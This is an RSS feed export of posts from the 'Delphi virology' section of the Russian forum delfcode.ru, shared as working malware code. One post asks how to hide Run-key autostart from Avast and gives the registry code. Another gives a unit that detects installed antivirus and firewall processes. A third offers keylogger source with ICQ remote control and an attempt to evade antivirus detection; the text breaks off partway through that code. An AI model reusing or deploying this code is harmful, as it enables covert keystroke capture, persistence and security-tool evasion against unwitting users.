<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>delfcode</title>
<link>https://delfcode.ru/forum/</link>
<description>delfcode</description>
<lastBuildDate>Tue, 29 Mar 2016 13:39:02 GMT</lastBuildDate>
<generator>uCoz Web-Service</generator>
<item>
<title>автозапуск незаметно для антивируса?</title>
<link>https://delfcode.ru/forum/10-1469-1</link>
<pubDate>Tue, 29 Mar 2016 13:39:02 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: AligatorBkmz&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Данный код явно вызывает недовольство у антивируса Avast во время его исполнения, и выдает некрасивое предупреждение:&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;procedure Autorun(Flag:boolean; NameParam, Path:String&amp;#41;;&lt;br /&gt;var Reg:TRegistry;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;if Flag then&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg := TRegistry.Create;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.RootKey := HKEY_CURRENT_USER;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.OpenKey(&apos;&amp;#92;SOFTWARE&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run&apos;, false&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.WriteString(NameParam, Path&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.Free;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end&lt;br /&gt;&amp;nbsp;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg := TRegistry.Create;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.RootKey := HKEY_CURRENT_USER;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.OpenKey(&apos;&amp;#92;SOFTWARE&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run&apos;,false&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.DeleteValue(NameParam&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.Free;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;end;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;Как бы запустить прогу автоматом не вызывая недовольств антивируса?</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>AligatorBkmz</dc:creator>
<guid>https://delfcode.ru/forum/10-1469-1</guid>
</item>
<item>
<title>Узнаем установленный АВ и фаирвол</title>
<link>https://delfcode.ru/forum/10-1413-1</link>
<pubDate>Tue, 29 Mar 2016 01:59:07 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;unit unitAvs; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;sysutils, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TLHelp32; &lt;br /&gt;&lt;br /&gt; const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procesos:&amp;nbsp;&amp;nbsp;array&amp;#91;0..15] of String = (&apos;avguard.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ashdisp.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;avgcc.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;bdss.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;spider.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;avp.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;nod32krn.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;cclaw.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;dvpapi.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ewidoctrl.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;mcshield.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;pavfires.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;almon.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ccapp.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;pccntmon.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;fssm32.exe&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;NombreDeAntivirus: array&amp;#91;0..15] of String =(&apos;AntiVir&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Avast Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;AVG Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;BitDefender&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Dr.Web&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Kaspersky Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Nod32&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Norman&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Authentium Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Ewido Security Suite&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;McAfee VirusScan&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Panda Antivirus/Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Sophos&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Symantec/Norton&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;PC-cillin Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;F-Secure&apos;&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Firewalls:&amp;nbsp;&amp;nbsp;array&amp;#91;0..14] of String =&amp;nbsp;&amp;nbsp;(&apos;issvc.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;vsmon.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;cpf.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ca.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;tnbutil.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;avp.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;mpfservice.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;npfmsg.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;outpost.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;tpsrv.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;pavfires.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;kpf4ss.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;persfw.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;vsserv.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;smc.exe&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;NombreDeFirewall: array&amp;#91;0..14] Of string =(&apos;Norton Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ZoneAlarm&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Comodo Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;eTrust EZ Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;F-Secure Internet Security&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Kaspersky Antihacker&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;McAfee Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Norman Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Outpost Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Panda Internet Seciruty Suite&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Panda Anti-Virus/Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Kerio Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Tiny Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;BitDefender / Bull Guard Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Sygate Personal Firewall&apos;&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function ObtenerAvs(&amp;#41;: String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function ObtenerFirewall(&amp;#41;: String; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; Function Scan(tipo: integer&amp;#41;: String; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cLoop&amp;nbsp;&amp;nbsp;:Boolean; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CapProcesos:THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;L&amp;nbsp;&amp;nbsp;:TProcessEntry32; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&amp;nbsp;&amp;nbsp;:integer; &lt;br /&gt; Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := &apos;NO&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CapProcesos := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS or TH32CS_SNAPMODULE, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;L.dwSize := SizeOf(L&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cLoop := Process32First(CapProcesos, L&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while cLoop do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if tipo = 1 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i := 0 to 15 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LowerCase(L.szExeFile&amp;#41; = Procesos&amp;#91;i] then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If Result = &apos;No&apos; then //Osea que no ha copiado nada a result &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := NombreDeAntivirus&amp;#91;i] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else //si es diferente de &apos;No encontrado&apos; es porque ya copi? un av antes &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos; &amp;#92; &apos; + NombreDeAntivirus&amp;#91;i] //copie un separador y el otro antivirus &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if tipo = 2 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i := 0 to 14 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LowerCase(L.szExeFile&amp;#41; = Firewalls&amp;#91;i] then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Result = &apos;No encontrado&apos; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := NombreDeFirewall&amp;#91;i] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos; &amp;#92; &apos; + NombreDeFirewall&amp;#91;i]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cLoop := Process32Next(CapProcesos, L&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(CapProcesos&amp;#41;; &lt;br /&gt; end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Автор DeadLine</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/10-1413-1</guid>
</item>
<item>
<title>Кейлогер с управлением по icq (по исходнику gravitas)</title>
<link>https://delfcode.ru/forum/10-644-1</link>
<pubDate>Tue, 29 Mar 2016 01:26:44 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Состряпал кейлогер, с просмотром логов по icq.&lt;br /&gt;Автор темы: link993&lt;br /&gt;Автор последнего сообщения: AligatorBkmz&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Я думаю исходник этого будет полезен некоторым пользвателям. За основу взят VCL кейлогер gravitas,a. На сайте есть исходники кейлогера. На форму положил календарь чтоб антивирусы не орали ( не работает ). Также взял баг dolphin,a с именем программы. &lt;br /&gt;&lt;br /&gt; Описание тут: &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler73j88f&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler73j88f&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler73j88f&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler73j88f&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler73j88f&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler73j88f&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler73j88f&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler73j88f&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler73j88f&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;http://www.securelist.com/ru/descriptions/31684358/Backdoor.Win32.VanBot.dzo&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; Код: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;unit Unit1; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, StdCtrls, ExtCtrls, Registry, ICQClient; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Timer1: TTimer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memo1: TMemo; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ICQClient1: TICQClient; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; if getasynckeystate($10&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;S]&apos;; &lt;br /&gt; if getasynckeystate($1b&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;esc]&apos;; &lt;br /&gt; if getasynckeystate($20&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos; &apos;; &lt;br /&gt; if getasynckeystate($2e&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;delete]&apos;; &lt;br /&gt; if getasynckeystate($41&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;a&apos;; &lt;br /&gt; if getasynckeystate($42&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;b&apos;; &lt;br /&gt; if getasynckeystate($43&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;c&apos;; &lt;br /&gt; if getasynckeystate($44&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;d&apos;; &lt;br /&gt; if getasynckeystate($45&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;e&apos;; &lt;br /&gt; if getasynckeystate($46&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;f&apos;; &lt;br /&gt; if getasynckeystate($47&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;g&apos;; &lt;br /&gt; if getasynckeystate($48&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;h&apos;; &lt;br /&gt; if getasynckeystate($49&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;i&apos;; &lt;br /&gt; if getasynckeystate($4b&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;k&apos;; &lt;br /&gt; if getasynckeystate($4c&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;l&apos;; &lt;br /&gt; if getasynckeystate($4d&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;m&apos;; &lt;br /&gt; if getasynckeystate($4e&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;n&apos;; &lt;br /&gt; if getasynckeystate($4f&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;o&apos;; &lt;br /&gt; if getasynckeystate($50&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;p&apos;; &lt;br /&gt; if getasynckeystate($51&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;q&apos;; &lt;br /&gt; if getasynckeystate($52&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;r&apos;; &lt;br /&gt; if getasynckeystate($53&amp;#41;&lt;&gt;0 